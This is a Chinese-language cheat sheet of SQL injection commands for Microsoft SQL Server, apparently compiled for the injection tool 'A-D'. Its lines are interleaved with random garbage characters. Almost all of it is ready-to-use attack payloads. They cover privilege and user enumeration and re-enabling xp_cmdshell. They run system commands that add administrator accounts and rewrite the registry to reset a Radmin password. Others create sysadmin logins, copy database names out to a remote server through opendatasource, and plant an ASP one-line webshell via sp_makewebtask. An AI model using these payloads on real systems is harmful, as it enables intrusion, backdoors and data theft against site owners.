阿D常用的一些注入命令
+ e3 x, E* T+ j# g- x3 u9 K//看看是什么权限的: h9 O" b% T# a+ |* r# Z
and 1=(Select IS_MEMBER('db_owner'))7 P* ]3 \, ^7 ~' Y! L+ ^* y- l
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
) `) ~& B$ s8 s9 j
/ ~5 u+ u3 Z1 O7 @//检测是否有读取某数据库的权限5 N4 @& W4 i# M2 X) v
and 1= (Select HAS_DBACCESS('master'))
4 v1 U9 p2 f) i5 Y2 g9 JAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --+ h7 f C% U& ]9 p, y& h
5 V* w, K6 P1 H/ B1 N0 V
. j s3 O# {# a2 S. _" H
数字类型5 h8 o* t* n8 | [4 r
and char(124)%2Buser%2Bchar(124)=0
$ U; m2 S$ t S& m. q9 {% B
* m% v. q! @3 }8 o* l9 B6 n# e字符类型: B6 L4 ]; Y" g4 J+ b& G3 F
' and char(124)%2Buser%2Bchar(124)=0 and ''=', U, b2 p- [) m, n+ B7 W. w
" [* G+ ^9 [/ j1 | g* v搜索类型
$ R# k" f/ ]0 X% ~- l) |' and char(124)%2Buser%2Bchar(124)=0 and '%'='+ u5 I" Q' p* J# V$ P' f' a# v
5 v( d0 _' G- L# Y) V! d
爆用户名 B+ B& R5 z, |4 Z0 P' E/ E
and user>0
/ P* T1 o" g q- }' q8 [' and user>0 and ''='8 Y4 c5 g( R" y6 l9 R D
, l; D) }& x: @; }
检测是否为SA权限
, C G0 Q8 i# y/ P7 }# _4 P7 vand 1=(select IS_SRVROLEMEMBER('sysadmin'));--( n% @$ `- V2 x; x1 P6 _; F
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --$ ?* c4 u; r$ D' \) D
6 A4 Z' l% {0 p! D9 `检测是不是MSSQL数据库* f0 q& _9 v5 e9 m$ ~
and exists (select * from sysobjects);--
7 G ]! b) |/ [
: q( k' q1 {; ^7 \' I6 v7 J检测是否支持多行2 h# x' T* C ?+ u# _) D1 R9 _. G
;declare @d int;-- ; x, p- U2 \; ^* s' r. l
/ Y5 s7 D+ D! {7 E. d5 n5 U' ~
恢复 xp_cmdshell
8 }) u( S1 s4 s5 h;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--; b% t3 H9 r H+ y
* D$ }: D0 Q0 j- w3 |1 i# c
* F0 ^! @" @# m" S8 X" Sselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') # }) D8 q' h$ i3 F k2 W6 y
" o& _& E1 v1 A) W' N//-----------------------
- k" F2 d& O2 s N* O7 l0 P// 执行命令
: k I. e1 C7 P1 i9 M//------------------------ o! r" B7 i8 x# K
首先开启沙盘模式:
2 y& v. X( F- \2 [* j" |exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
6 }7 v$ P9 h& y, X9 D8 b
/ p) X: Q2 u" q1 ]( M然后利用jet.oledb执行系统命令
' ~* u; [2 Z: jselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')- p- N4 P1 y) H/ ~ I
' d" h% T, q& W0 t. ^: \; w
执行命令- C* G0 j3 U! W' }, [$ h$ z
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
$ V* u* S4 V1 I) m! _( e
! d, M* J l4 X/ O+ Q( gEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
( j2 o' M% E5 @0 Z% P) ]$ ^4 p6 `% s4 I, s! p! ~
判断xp_cmdshell扩展存储过程是否存在:
/ A! ~0 K# O+ l7 bhttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')8 s f/ A; \* t& L, i+ f( |
0 K4 g y: O* X0 {
写注册表
, O% M6 Q- I1 j2 k, uexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',16 @5 _& L9 M% d/ X/ H& v1 J7 s! @
5 r% Q! b7 A0 ]! d( B
REG_SZ
' P# Q- r) u/ Q& L8 K% s2 D# ?. O4 e
读注册表
( x @5 @; i, H9 E" ~2 I# K& @exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'( W$ ?0 U6 ?& y" a* f1 l" Y% N7 ^
* R! f, K0 ?% R5 P读取目录内容8 D" K' k& P2 r, }, |, Y9 Y
exec master..xp_dirtree 'c:\winnt\system32\',1,1+ v8 B/ q: f0 v, o
- T$ T C+ N. N( O" s; H; B- D, C4 T3 f& ]
数据库备份* ?8 t0 T; \; `( @6 X5 T' b4 f
backup database pubs to disk = 'c:\123.bak'1 Z5 [5 w5 c( w8 F3 O
0 n% f, L9 Q% B+ D
//爆出长度" E, X0 K% x7 l+ @; Q, J
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--. d( m( e: o) J& O$ l8 x
1 t; a) R5 }% ?9 u# s
! [/ u9 c7 ?" g" |* ?$ ^+ `
$ S1 Z/ E2 ]6 Q. o更改sa口令方法:用sql综合利用工具连接后,执行命令:: U/ B( j6 Q4 m7 c+ Q, N
exec sp_password NULL,'新密码','sa'
; M+ M' K- E& C4 N# v
b1 ]' n( s0 B; H( ]- { Y. c添加和删除一个SA权限的用户test:
0 _; D" p$ E: D Z& c' zexec master.dbo.sp_addlogin test,ptlove
: k6 W1 _( ]. M6 Z+ Z+ texec master.dbo.sp_addsrvrolemember test,sysadmin1 Q5 L& [2 a3 z' W5 N
! K: [! T2 V: s3 T* p: t' y, ?删除扩展存储过过程xp_cmdshell的语句: ' L6 o7 k$ O Z1 R; h6 r
exec sp_dropextendedproc 'xp_cmdshell'" E! R: C2 E+ U, k8 G5 Z
9 X( G2 U+ D8 v. P. u+ [添加扩展存储过过程
' k4 H& v2 ~, O1 c- jEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' - `7 e" T5 g* t# k' o/ ?, i
GRANT exec On xp_proxiedadata TO public 4 I( W( d* @% d$ _
! U; r. u) }9 C% S
# S; v6 P3 }5 ]停掉或激活某个服务。 ( @% _. o" t4 v. W; N R3 G0 ]
* X& Q; v! i0 Z. M- g% K, x- b z
exec master..xp_servicecontrol 'stop','schedule'
4 O0 Y1 K8 R& ~. {exec master..xp_servicecontrol 'start','schedule'8 A4 b% \. y* W4 ~! Y6 N2 p K9 r
4 X$ b j0 a' [4 E0 V* ]dbo.xp_subdirs! d& m) D; @4 N& P
& W( ]8 b( ?, g K' L: I只列某个目录下的子目录。
% j0 J8 n; u' [. c6 Txp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'+ C& \0 \+ V+ V* R' U
3 V& T5 C+ V6 d( x
dbo.xp_makecab
0 k+ j6 K) O2 n+ r0 I+ x8 }3 M, r
将目标多个档案压缩到某个目标档案之内。
5 w Q) T! _8 v2 |# x! R# _- O所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。8 S: W5 p+ ^3 n& Y! m
8 S# A# C7 y% Q% ]% u. | N) J( F0 v: zdbo.xp_makecab6 g1 Y1 k. L2 s
'c:\test.cab','mszip',1,
2 v. R' Y% @; t: Q5 `'C:\Inetpub\wwwroot\SQLInject\login.asp',
+ q6 }0 s( k5 `3 {; Q9 r( \'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
) s# p: B6 y' s2 \! ?+ l
! i/ A1 X" o7 z1 Q" zxp_terminate_process+ e' h& O+ Z" H. z1 G4 |# |0 [0 ~& v/ |
J3 n# Z' J! @: [停掉某个执行中的程序,但赋予的参数是 Process ID。/ o; Z% |. ^1 R# }, q
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID; w2 U) c0 a# p# ~, T( B
{( V8 A0 J9 \xp_terminate_process 24845 ?* A3 R8 b: o1 t0 E" w6 N6 R0 m6 ^
1 E5 g# N0 L: z h" o( z
xp_unpackcab
; Y# r7 u' S6 _2 `& G$ x
" v$ I$ B+ s( }/ L9 B! W4 {解开压缩档。# e# U& U4 l) {5 P) D+ | i2 o; f% @
$ @) q8 v* ]7 C9 f6 r' g; z
xp_unpackcab 'c:\test.cab','c:\temp',1
6 x9 B+ @# h7 K5 @5 s
) {9 s) r' c. }9 V D# P/ h2 c5 g2 ~
1 U v) ~/ \6 x+ b某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
3 F/ R* J* a0 f: u- y" C$ M
2 {- @% R. {% E$ wcreate database lcx;
7 o' q* v t& X* B YCreate TABLE ku(name nvarchar(256) null);
) k. I0 n2 G' F1 KCreate TABLE biao(id int NULL,name nvarchar(256) null);/ `- d. j3 ?" G, f
8 a3 |* Y6 v* M# p1 ^3 z7 u$ H
//得到数据库名
# R3 e( r; E% z/ g8 X9 c! l7 ?insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
5 b) R% @6 ^% L9 p, q; T3 f+ d: _
+ [, q x# F1 }' o0 G$ o. l) e$ |1 B! t4 `. K; U2 A9 r
//在Master中创建表,看看权限怎样
8 E5 @8 ~0 f! W: U; xCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--! B9 B1 H8 B2 T& l$ \7 O& J
* C2 Y( Z% S4 W7 m; }; m. a
用 sp_makewebtask直接在web目录里写入一句话马:( M9 m5 Q+ j! @% |
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--+ P6 H1 S( x: C
. y: @1 u9 G2 b- s& ?7 Y3 ^& Z//更新表内容
% q N) ]; Y2 P2 k1 eUpdate films SET kind = 'Dramatic' Where id = 123
/ A! }9 M* A5 P2 ^" v
/ J9 U9 A+ t! L' Q//删除内容
7 O& x; s. Q" M- V$ D4 xdelete from table_name where Stockid = 3 |